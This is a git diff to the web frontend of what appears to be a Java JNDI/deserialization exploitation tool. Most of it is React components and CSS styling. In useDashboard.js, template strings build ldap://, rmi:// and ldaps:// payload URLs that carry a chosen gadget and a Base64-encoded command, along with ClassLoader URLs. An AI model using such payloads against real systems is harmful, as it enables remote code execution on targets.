diff --git a/2.class b/2.class new file mode 100644 index 0000000..07e0128 Binary files /dev/null and b/2.class differ diff --git a/build.gradle b/build.gradle index 657a4cc..df7fafb 100644 --- a/build.gradle +++ b/build.gradle @@ -120,6 +120,4 @@ java.sourceCompatibility = JavaVersion.VERSION_1_8 compileJava { options.compilerArgs << '-XDignore.symbol.file' - options.fork = true - options.forkOptions.executable = '/Users/qi4l/env/amazon-corretto-8.jdk/Contents/Home/bin/javac' } \ No newline at end of file diff --git a/src/main/frontend/public/login-bg.jpeg b/src/main/frontend/public/login-bg.jpeg new file mode 100644 index 0000000..90a236f Binary files /dev/null and b/src/main/frontend/public/login-bg.jpeg differ diff --git a/src/main/frontend/src/App.jsx b/src/main/frontend/src/App.jsx index e59f4c8..b8927df 100644 --- a/src/main/frontend/src/App.jsx +++ b/src/main/frontend/src/App.jsx @@ -9,7 +9,11 @@ export default function App() { } /> } /> - } /> + + + + } /> diff --git a/src/main/frontend/src/components/AnimatedBackground.jsx b/src/main/frontend/src/components/AnimatedBackground.jsx deleted file mode 100644 index 3875b46..0000000 --- a/src/main/frontend/src/components/AnimatedBackground.jsx +++ /dev/null @@ -1,97 +0,0 @@ -import { useEffect, useRef } from 'react' -import { useTheme } from '../context/ThemeContext' - -export default function AnimatedBackground() { - const { theme } = useTheme() - const canvasRef = useRef(null) - const mouseRef = useRef({ x: 0.5, y: 0.5 }) - const rafRef = useRef(null) - - useEffect(() => { - const canvas = canvasRef.current - if (!canvas) return - const ctx = canvas.getContext('2d') - let width, height - let time = 0 - - function resize() { - const dpr = Math.min(window.devicePixelRatio || 1, 2) - width = window.innerWidth - height = window.innerHeight - canvas.width = width * dpr - canvas.height = height * dpr - canvas.style.width = width + 'px' - canvas.style.height = height + 'px' - ctx.setTransform(dpr, 0, 0, dpr, 0, 0) - } - resize() - window.addEventListener('resize', resize) - - function onMouseMove(e) { - mouseRef.current.x = e.clientX / width - mouseRef.current.y = e.clientY / height - } - window.addEventListener('mousemove', onMouseMove) - - const blobs = [ - { x: 0.25, y: 0.30, r: 0.44, sx: 0.12, sy: 0.08, color: theme === 'dark' ? '90, 40, 255' : '50, 80, 255', phase: 0 }, - { x: 0.70, y: 0.25, r: 0.38, sx: 0.10, sy: 0.11, color: theme === 'dark' ? '255, 30, 180' : '255, 60, 180', phase: 1.5 }, - { x: 0.50, y: 0.70, r: 0.46, sx: 0.09, sy: 0.10, color: theme === 'dark' ? '20, 140, 255' : '30, 200, 230', phase: 3 }, - { x: 0.80, y: 0.55, r: 0.34, sx: 0.11, sy: 0.09, color: theme === 'dark' ? '255, 140, 30' : '255, 150, 40', phase: 4.5 }, - { x: 0.20, y: 0.75, r: 0.36, sx: 0.10, sy: 0.12, color: theme === 'dark' ? '30, 220, 160' : '50, 230, 140', phase: 2 }, - ] - - function draw() { - time += 0.0035 - ctx.clearRect(0, 0, width, height) - - const mx = mouseRef.current.x - const my = mouseRef.current.y - - blobs.forEach(blob => { - const bx = width * (blob.x + Math.sin(time + blob.phase) * blob.sx) - const by = height * (blob.y + Math.cos(time * 0.7 + blob.phase) * blob.sy) - const br = Math.min(width, height) * blob.r - - const parallaxX = (mx - 0.5) * 30 - const parallaxY = (my - 0.5) * 30 - - const gradient = ctx.createRadialGradient( - bx + parallaxX, by + parallaxY, 0, - bx + parallaxX, by + parallaxY, br - ) - - const alpha = theme === 'dark' ? 0.22 : 0.40 - gradient.addColorStop(0, `rgba(${blob.color}, ${alpha})`) - gradient.addColorStop(0.5, `rgba(${blob.color}, ${alpha * 0.35})`) - gradient.addColorStop(1, `rgba(${blob.color}, 0)`) - - ctx.fillStyle = gradient - ctx.fillRect(0, 0, width, height) - }) - - rafRef.current = requestAnimationFrame(draw) - } - - rafRef.current = requestAnimationFrame(draw) - - return () => { - window.removeEventListener('resize', resize) - window.removeEventListener('mousemove', onMouseMove) - cancelAnimationFrame(rafRef.current) - } - }, [theme]) - - return ( - - ) -} diff --git a/src/main/frontend/src/components/ConfigForm.jsx b/src/main/frontend/src/components/ConfigForm.jsx new file mode 100644 index 0000000..ba78a01 --- /dev/null +++ b/src/main/frontend/src/components/ConfigForm.jsx @@ -0,0 +1,66 @@ +export default function ConfigForm({ config, onChange }) { + function update(field, value) { + onChange({ ...config, [field]: value }) + } + + return ( +
+
+ + update('ip', e.target.value)} /> +
+
+ + update('ldapPort', parseInt(e.target.value) || 1389)} /> +
+
+ + update('ldapsPort', parseInt(e.target.value) || 1669)} /> +
+
+ + update('httpPort', parseInt(e.target.value) || 3456)} /> +
+
+ + update('rmiPort', parseInt(e.target.value) || 1099)} /> +
+
+ + update('AESkey', e.target.value)} /> +
+
+ + update('user', e.target.value)} /> +
+
+ + update('PASSWD', e.target.value)} /> +
+
+ + update('keyPass', e.target.value)} /> +
+
+ + update('certFile', e.target.value)} /> +
+
+ +
+
+ ) +} diff --git a/src/main/frontend/src/components/GadgetSelector.jsx b/src/main/frontend/src/components/GadgetSelector.jsx new file mode 100644 index 0000000..e97cab0 --- /dev/null +++ b/src/main/frontend/src/components/GadgetSelector.jsx @@ -0,0 +1,46 @@ +const SearchIcon = () => ( + + + +) + +export default function GadgetSelector({ value, onChange, items, searchValue, onSearchChange, open, onOpenChange, selectedGadget, label }) { + return ( +
+
+ + onOpenChange(true)} + onBlur={() => setTimeout(() => onOpenChange(false), 150)} + onChange={e => { onChange(e.target.value); if (onSearchChange) onSearchChange(e.target.value); }} + style={{ cursor: 'text' }} + /> + +
+ {open && ( +
+
+ {items.map(g => ( +
{ + e.preventDefault() + const name = g.name || g + onChange(name) + if (onSearchChange) onSearchChange(name) + onOpenChange(false) + }} + > + {g.name || g} +
+ ))} +
+
+ )} +
+ ) +} diff --git a/src/main/frontend/src/components/LiquidGlassCard.jsx b/src/main/frontend/src/components/LiquidGlassCard.jsx deleted file mode 100644 index db133bc..0000000 --- a/src/main/frontend/src/components/LiquidGlassCard.jsx +++ /dev/null @@ -1,28 +0,0 @@ -import LiquidGlass from 'liquid-glass-react' - -export default function LiquidGlassCard({ - children, - className = '', - style = {}, - ...props -}) { - return ( -
- -
- {children} -
-
-
- ) -} diff --git a/src/main/frontend/src/components/ParticleBackground.jsx b/src/main/frontend/src/components/ParticleBackground.jsx new file mode 100644 index 0000000..51ec2d9 --- /dev/null +++ b/src/main/frontend/src/components/ParticleBackground.jsx @@ -0,0 +1,119 @@ +import { useEffect, useRef } from 'react' + +export default function ParticleBackground() { + const canvasRef = useRef(null) + + useEffect(() => { + const canvas = canvasRef.current + if (!canvas) return + const ctx = canvas.getContext('2d') + let animationId + let particles = [] + let mouse = { x: null, y: null } + + function resize() { + canvas.width = window.innerWidth + canvas.height = window.innerHeight + } + resize() + window.addEventListener('resize', resize) + + function handleMouseMove(e) { + mouse.x = e.clientX + mouse.y = e.clientY + } + window.addEventListener('mousemove', handleMouseMove) + + class Particle { + constructor() { + this.x = Math.random() * canvas.width + this.y = Math.random() * canvas.height + this.size = Math.random() * 2 + 0.5 + this.speedX = (Math.random() - 0.5) * 0.5 + this.speedY = (Math.random() - 0.5) * 0.5 + this.opacity = Math.random() * 0.5 + 0.2 + } + + update() { + this.x += this.speedX + this.y += this.speedY + + if (this.x < 0) this.x = canvas.width + if (this.x > canvas.width) this.x = 0 + if (this.y < 0) this.y = canvas.height + if (this.y > canvas.height) this.y = 0 + + if (mouse.x != null && mouse.y != null) { + const dx = mouse.x - this.x + const dy = mouse.y - this.y + const dist = Math.sqrt(dx * dx + dy * dy) + if (dist < 150) { + const force = (150 - dist) / 150 + this.x -= dx * force * 0.02 + this.y -= dy * force * 0.02 + } + } + } + + draw() { + ctx.beginPath() + ctx.arc(this.x, this.y, this.size, 0, Math.PI * 2) + ctx.fillStyle = `rgba(255, 255, 255, ${this.opacity})` + ctx.fill() + } + } + + function init() { + particles = [] + const count = Math.min(Math.floor((canvas.width * canvas.height) / 12000), 80) + for (let i = 0; i < count; i++) { + particles.push(new Particle()) + } + } + init() + + function connect() { + for (let i = 0; i < particles.length; i++) { + for (let j = i + 1; j < particles.length; j++) { + const dx = particles[i].x - particles[j].x + const dy = particles[i].y - particles[j].y + const dist = Math.sqrt(dx * dx + dy * dy) + if (dist < 120) { + ctx.beginPath() + ctx.strokeStyle = `rgba(255, 255, 255, ${0.12 * (1 - dist / 120)})` + ctx.lineWidth = 0.5 + ctx.moveTo(particles[i].x, particles[i].y) + ctx.lineTo(particles[j].x, particles[j].y) + ctx.stroke() + } + } + } + } + + function animate() { + ctx.clearRect(0, 0, canvas.width, canvas.height) + particles.forEach(p => { p.update(); p.draw() }) + connect() + animationId = requestAnimationFrame(animate) + } + animate() + + return () => { + cancelAnimationFrame(animationId) + window.removeEventListener('resize', resize) + window.removeEventListener('mousemove', handleMouseMove) + } + }, []) + + return ( + + ) +} diff --git a/src/main/frontend/src/components/PayloadOutput.jsx b/src/main/frontend/src/components/PayloadOutput.jsx new file mode 100644 index 0000000..516db38 --- /dev/null +++ b/src/main/frontend/src/components/PayloadOutput.jsx @@ -0,0 +1,17 @@ +import CopyButton from './CopyButton' +import useTypewriter from '../hooks/useTypewriter' + +function TypewriterPayload({ text }) { + const { displayed } = useTypewriter(text, 15, true) + return <>{displayed} +} + +export default function PayloadOutput({ text, style = {} }) { + if (!text) return null + return ( +
+ + +
+ ) +} diff --git a/src/main/frontend/src/components/ServerStatusCard.jsx b/src/main/frontend/src/components/ServerStatusCard.jsx new file mode 100644 index 0000000..39c2cfe --- /dev/null +++ b/src/main/frontend/src/components/ServerStatusCard.jsx @@ -0,0 +1,14 @@ +export default function ServerStatusCard({ label, port, isRunning, toggling, onClick }) { + return ( +
+ {label} ({port}) + + {isRunning ? 'ONLINE' : 'OFFLINE'} + +
+ ) +} diff --git a/src/main/frontend/src/context/ThemeContext.jsx b/src/main/frontend/src/context/ThemeContext.jsx index 1c73d8f..faa973c 100644 --- a/src/main/frontend/src/context/ThemeContext.jsx +++ b/src/main/frontend/src/context/ThemeContext.jsx @@ -1,18 +1,23 @@ -import { createContext, useContext, useEffect } from 'react' -import { useLocation } from 'react-router-dom' +import { createContext, useContext, useState, useEffect, useCallback } from 'react' const ThemeContext = createContext() export function ThemeProvider({ children }) { - const location = useLocation() - const theme = location.pathname === '/login' ? 'dark' : 'light' + const [theme, setTheme] = useState(() => { + return localStorage.getItem('jyso_theme') || 'dark' + }) useEffect(() => { document.documentElement.setAttribute('data-theme', theme) + localStorage.setItem('jyso_theme', theme) }, [theme]) + const toggleTheme = useCallback(() => { + setTheme(prev => prev === 'dark' ? 'light' : 'dark') + }, []) + return ( - + {children} ) diff --git a/src/main/frontend/src/hooks/useDashboard.js b/src/main/frontend/src/hooks/useDashboard.js index 4477404..5941df7 100644 --- a/src/main/frontend/src/hooks/useDashboard.js +++ b/src/main/frontend/src/hooks/useDashboard.js @@ -103,7 +103,9 @@ export default function useDashboard() { try { const res = await getGadgets() setGadgets(res.data) - } catch (e) { /* ignore */ } + } catch (e) { + console.error('Failed to load gadgets:', e) + } } async function handleToggleServer(server) { @@ -113,8 +115,9 @@ export default function useDashboard() { if (res.data.success) { setStatus(res.data.status) } - } catch (e) { /* ignore */ } - finally { setToggling(null) } + } catch (e) { + console.error('Failed to toggle server:', e) + } finally { setToggling(null) } } async function handleSaveConfig() { @@ -122,8 +125,9 @@ export default function useDashboard() { try { await updateConfig(configForm) loadStatus() - } catch (e) { /* ignore */ } - finally { setLoading(false) } + } catch (e) { + console.error('Failed to save config:', e) + } finally { setLoading(false) } } async function handleGeneratePayload() { @@ -162,8 +166,9 @@ export default function useDashboard() { setJndiPayloadResult(`ldap://${ipAddr}:${ldapPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`) setRmiPayloadResult(`rmi://${ipAddr}:${rmiPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`) setLdapsPayloadResult(`ldaps://${ipAddr}:${ldapsPort}/Deserialization/${gadgetName}/command/Base64/${cmdB64}`) - } catch (e) { /* ignore */ } - finally { setLoading(false) } + } catch (e) { + console.error('Failed to generate JNDI payload:', e) + } finally { setLoading(false) } } function handleGenerateClassLoader() { @@ -187,8 +192,9 @@ export default function useDashboard() { setClassLoaderResult(`ldap://${ipAddr}:${ldapPort}/${route}/M-LF-${fp}`) setRmiClassLoaderResult(`rmi://${ipAddr}:${rmiPort}/${route}/M-LF-${fp}`) setLdapsClassLoaderResult(`ldaps://${ipAddr}:${ldapsPort}/${route}/M-LF-${fp}`) - } catch (e) { /* ignore */ } - finally { setLoading(false) } + } catch (e) { + console.error('Failed to generate ClassLoader payload:', e) + } finally { setLoading(false) } } function logout() { @@ -201,8 +207,9 @@ export default function useDashboard() { try { const res = await getLogs(100) setLogLines(res.data.logs || []) - } catch { /* ignore */ } - finally { setLogLoading(false) } + } catch (e) { + console.error('Failed to fetch logs:', e) + } finally { setLogLoading(false) } } useEffect(() => { loadStatus(); loadGadgets() }, []) @@ -217,8 +224,9 @@ export default function useDashboard() { try { const res = await getFiles() setFiles(res.data) - } catch { /* ignore */ } - finally { setFilesLoading(false) } + } catch (e) { + console.error('Failed to fetch files:', e) + } finally { setFilesLoading(false) } } async function handleDownloadFile(name) { @@ -230,7 +238,9 @@ export default function useDashboard() { a.download = name a.click() window.URL.revokeObjectURL(url) - } catch { /* ignore */ } + } catch (e) { + console.error('Failed to download file:', e) + } } async function handleDeleteFile(name) { @@ -238,7 +248,9 @@ export default function useDashboard() { try { await apiDeleteFile(name) fetchFiles() - } catch { /* ignore */ } + } catch (e) { + console.error('Failed to delete file:', e) + } } function handleDragOver(e) { @@ -250,7 +262,12 @@ export default function useDashboard() { function handleDragLeave(e) { e.preventDefault() e.stopPropagation() - setDragOver(false) + const rect = e.currentTarget.getBoundingClientRect() + const x = e.clientX + const y = e.clientY + if (x < rect.left || x > rect.right || y < rect.top || y > rect.bottom) { + setDragOver(false) + } } function handleDrop(e) { @@ -280,8 +297,9 @@ export default function useDashboard() { if (res.data.success) { fetchFiles() } - } catch (e) { /* ignore */ } - finally { + } catch (e) { + console.error('Failed to upload file:', e) + } finally { setUploading(false) } } diff --git a/src/main/frontend/src/hooks/useTypewriter.js b/src/main/frontend/src/hooks/useTypewriter.js new file mode 100644 index 0000000..a663726 --- /dev/null +++ b/src/main/frontend/src/hooks/useTypewriter.js @@ -0,0 +1,34 @@ +import { useState, useEffect, useRef } from 'react' + +export default function useTypewriter(text, speed = 30, enabled = true) { + const [displayed, setDisplayed] = useState('') + const [done, setDone] = useState(false) + const indexRef = useRef(0) + const textRef = useRef(text) + + useEffect(() => { + if (!enabled) { + setDisplayed(text) + setDone(true) + return + } + indexRef.current = 0 + setDisplayed('') + setDone(false) + textRef.current = text + + const interval = setInterval(() => { + if (indexRef.current < textRef.current.length) { + setDisplayed(textRef.current.slice(0, indexRef.current + 1)) + indexRef.current++ + } else { + setDone(true) + clearInterval(interval) + } + }, speed) + + return () => clearInterval(interval) + }, [text, speed, enabled]) + + return { displayed, done } +} diff --git a/src/main/frontend/src/index.css b/src/main/frontend/src/index.css index a842a13..b909fd4 100644 --- a/src/main/frontend/src/index.css +++ b/src/main/frontend/src/index.css @@ -141,7 +141,7 @@ code, pre, .mono { align-self: stretch; position: relative; overflow: hidden; - transition: width var(--transition-fast); + transition: width var(--transition-fast), opacity var(--transition-fast), transform var(--transition-fast); display: flex; flex-direction: column; } @@ -150,6 +150,20 @@ code, pre, .mono { width: 60px; } +.sidebar-hidden { + width: 0; + border-right: none; + overflow: hidden; + opacity: 0; + transform: translateX(-20px); +} + +.sidebar-visible { + width: 260px; + opacity: 1; + transform: translateX(0); +} + .sidebar-content { padding: 20px 16px; position: relative; @@ -164,6 +178,30 @@ code, pre, .mono { padding: 20px 12px; } +.sidebar-trigger-btn { + position: fixed; + top: 16px; + left: 16px; + width: 36px; + height: 36px; + border-radius: 8px; + border: none; + background: rgba(0, 0, 0, 0.45); + color: rgba(255, 255, 255, 0.7); + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + transition: all var(--transition-fast); + z-index: 100; + padding: 0; +} + +.sidebar-trigger-btn:hover { + background: rgba(0, 0, 0, 0.65); + color: #FFFFFF; +} + .sidebar-toggle-btn { position: absolute; bottom: 16px; @@ -337,6 +375,10 @@ code, pre, .mono { padding: 32px 28px; } +.main-content-full { + padding-left: 64px; +} + .header h1 { font-size: 18px; font-weight: 700; @@ -477,6 +519,22 @@ code, pre, .mono { z-index: 0; } +.glass-card::after { + content: ''; + position: absolute; + inset: 0; + border-radius: inherit; + background: radial-gradient(600px circle at var(--mouse-x, 50%) var(--mouse-y, 50%), rgba(255,255,255,0.06), transparent 40%); + pointer-events: none; + z-index: 0; + opacity: 0; + transition: opacity var(--transition-fast); +} + +.glass-card:hover::after { + opacity: 1; +} + .glass-card > * { position: relative; z-index: 1; @@ -661,8 +719,26 @@ code, pre, .mono { font-family: var(--font-mono); } -.status-online { color: var(--success); } -.status-offline { color: var(--danger); } +.status-online { color: var(--success); position: relative; } +.status-offline { color: var(--danger); position: relative; } + +.status-online::before { + content: ''; + position: absolute; + left: -10px; + top: 50%; + transform: translateY(-50%); + width: 6px; + height: 6px; + border-radius: 50%; + background: var(--success); + animation: statusPulse 2s ease-in-out infinite; +} + +@keyframes statusPulse { + 0%, 100% { box-shadow: 0 0 0 0 rgba(52, 199, 89, 0.4); } + 50% { box-shadow: 0 0 0 6px rgba(52, 199, 89, 0); } +} /* ===== iOS 26 Login ===== */ .login-wrapper { @@ -676,6 +752,112 @@ code, pre, .mono { overflow: hidden; } +.login-wrapper::before { + content: ''; + position: absolute; + inset: 0; + background-image: url('/login-bg.jpeg'); + background-size: cover; + background-position: center; + background-repeat: no-repeat; + z-index: 0; +} + +.login-wrapper::after { + content: ''; + position: absolute; + inset: 0; + background: rgba(0, 0, 0, 0.35); + z-index: 0; +} + +.login-acrylic-card { + position: relative; + z-index: 1; + width: 400px; + border-radius: 36px; + background: transparent; + backdrop-filter: none; + -webkit-backdrop-filter: none; + border: 1px solid rgba(255, 255, 255, 0.2); + box-shadow: + 0 8px 32px rgba(0, 0, 0, 0.08), + 0 2px 8px rgba(0, 0, 0, 0.06), + inset 0 0 0 0.5px rgba(255, 255, 255, 0.6); + transition: all var(--transition-fluid); + overflow: hidden; +} + +.login-acrylic-card::before { + content: ''; + position: absolute; + inset: 0; + border-radius: inherit; + background: linear-gradient( + 155deg, + rgba(255, 255, 255, 0.55) 0%, + rgba(255, 255, 255, 0.15) 35%, + transparent 60%, + rgba(255, 255, 255, 0.08) 100% + ); + pointer-events: none; + z-index: 0; +} + +.login-acrylic-card::after { + content: ''; + position: absolute; + inset: 0; + border-radius: inherit; + background: linear-gradient( + 200deg, + transparent 50%, + rgba(255, 255, 255, 0.12) 100% + ); + pointer-events: none; + z-index: 0; +} + +.login-acrylic-card:hover { + box-shadow: + 0 16px 48px rgba(0, 0, 0, 0.10), + 0 4px 12px rgba(0, 0, 0, 0.08), + inset 0 0 0 0.5px rgba(255, 255, 255, 0.7); + transform: translateY(-2px); +} + +[data-theme="dark"] .login-acrylic-card { + background: rgba(28, 28, 30, 0.35); + border-color: rgba(255, 255, 255, 0.12); + box-shadow: + 0 8px 32px rgba(0, 0, 0, 0.24), + 0 2px 8px rgba(0, 0, 0, 0.32), + inset 0 0 0 0.5px rgba(255, 255, 255, 0.10); +} + +[data-theme="dark"] .login-acrylic-card::before { + background: linear-gradient( + 155deg, + rgba(255, 255, 255, 0.12) 0%, + rgba(255, 255, 255, 0.04) 35%, + transparent 60%, + rgba(255, 255, 255, 0.03) 100% + ); +} + +[data-theme="dark"] .login-acrylic-card::after { + background: linear-gradient( + 200deg, + transparent 50%, + rgba(255, 255, 255, 0.06) 100% + ); +} + +.login-acrylic-card > * { + position: relative; + z-index: 1; +} + .login-inner { padding: 52px 44px 44px; } @@ -815,6 +997,15 @@ code, pre, .mono { display: none; } +.btn-spinner { + animation: btnSpin 1s linear infinite; +} + +@keyframes btnSpin { + from { transform: rotate(0deg); } + to { transform: rotate(360deg); } +} + .btn-secondary { background: rgba(120, 120, 128, 0.10); color: var(--accent); @@ -895,7 +1086,7 @@ code, pre, .mono { height: calc(100% - 6px); background: var(--accent); border-radius: 10px; - transition: transform var(--transition-spring); + transition: transform var(--transition-spring), width var(--transition-spring); box-shadow: 0 2px 10px var(--accent-glow), inset 0 1px 0 rgba(255,255,255,0.2); z-index: 0; } @@ -912,6 +1103,16 @@ code, pre, .mono { width: calc(33.333% - 4px); } +.tab-segment-control .tab-indicator { + position: absolute; + bottom: -2px; + height: 2px; + background: var(--accent); + border-radius: 1px; + transition: all var(--transition-spring); + z-index: 2; +} + .tab-segment-btn { position: relative; z-index: 1; @@ -1327,18 +1528,44 @@ select { font-size: 13px; font-family: 'Inter', sans-serif; backdrop-filter: blur(8px); + position: relative; + overflow: hidden; +} + +.file-upload-zone::before { + content: ''; + position: absolute; + inset: 0; + background: radial-gradient(circle at center, var(--accent-glow) 0%, transparent 70%); + opacity: 0; + transition: opacity var(--transition-fast); + pointer-events: none; } .file-upload-zone:hover { border-color: var(--accent); color: var(--accent); background: var(--accent-glow); + transform: translateY(-2px); + box-shadow: 0 4px 16px var(--accent-glow); } .file-upload-zone.drag-over { border-color: var(--accent); background: var(--accent-glow); color: var(--accent); + transform: scale(1.02); + box-shadow: 0 0 24px var(--accent-glow); +} + +.file-upload-zone.drag-over::before { + opacity: 1; + animation: uploadPulse 1.5s ease-in-out infinite; +} + +@keyframes uploadPulse { + 0%, 100% { transform: scale(1); opacity: 0.5; } + 50% { transform: scale(1.1); opacity: 0.8; } } .file-upload-zone.uploading { diff --git a/src/main/frontend/src/pages/Dashboard.jsx b/src/main/frontend/src/pages/Dashboard.jsx index 8dfb443..36af7eb 100644 --- a/src/main/frontend/src/pages/Dashboard.jsx +++ b/src/main/frontend/src/pages/Dashboard.jsx @@ -1,7 +1,10 @@ -import { useState } from 'react' +import { useState, useEffect } from 'react' import { useToast } from '../components/Toast' import useDashboard from '../hooks/useDashboard' -import CopyButton from '../components/CopyButton' +import ServerStatusCard from '../components/ServerStatusCard' +import GadgetSelector from '../components/GadgetSelector' +import PayloadOutput from '../components/PayloadOutput' +import ConfigForm from '../components/ConfigForm' const ExternalLinkIcon = () => ( @@ -10,12 +13,6 @@ const ExternalLinkIcon = () => ( ) -const SearchIcon = () => ( - - - -) - const CommandIcon = () => ( @@ -77,7 +74,22 @@ const LogoutIcon = () => ( export default function Dashboard() { const { showToast } = useToast() const d = useDashboard() - const [sidebarCollapsed, setSidebarCollapsed] = useState(false) + const [sidebarHidden, setSidebarHidden] = useState(true) + + useEffect(() => { + function handleMouseMove(e) { + const cards = document.querySelectorAll('.glass-card') + cards.forEach(card => { + const rect = card.getBoundingClientRect() + const x = e.clientX - rect.left + const y = e.clientY - rect.top + card.style.setProperty('--mouse-x', `${x}px`) + card.style.setProperty('--mouse-y', `${y}px`) + }) + } + window.addEventListener('mousemove', handleMouseMove) + return () => window.removeEventListener('mousemove', handleMouseMove) + }, []) async function handleToggleServer(server) { await d.handleToggleServer(server) @@ -113,25 +125,37 @@ export default function Dashboard() { } } - async function doUpload(file) { - await d.doUpload(file) - showToast(`Uploaded: ${file.name}`, 'success') - } + const servers = [ + { key: 'ldap', label: 'LDAP', port: d.status.ldapPort, running: d.status.ldapRunning }, + { key: 'ldaps', label: 'LDAPS', port: d.status.ldapsPort, running: d.status.ldapsRunning }, + { key: 'http', label: 'HTTP', port: d.status.httpPort, running: d.status.httpRunning }, + { key: 'rmi', label: 'RMI', port: d.status.rmiPort, running: d.status.rmiRunning }, + ] + + const ROUTING_ITEMS = d.ROUTING_OPTIONS.map(opt => ({ name: opt })) return (
-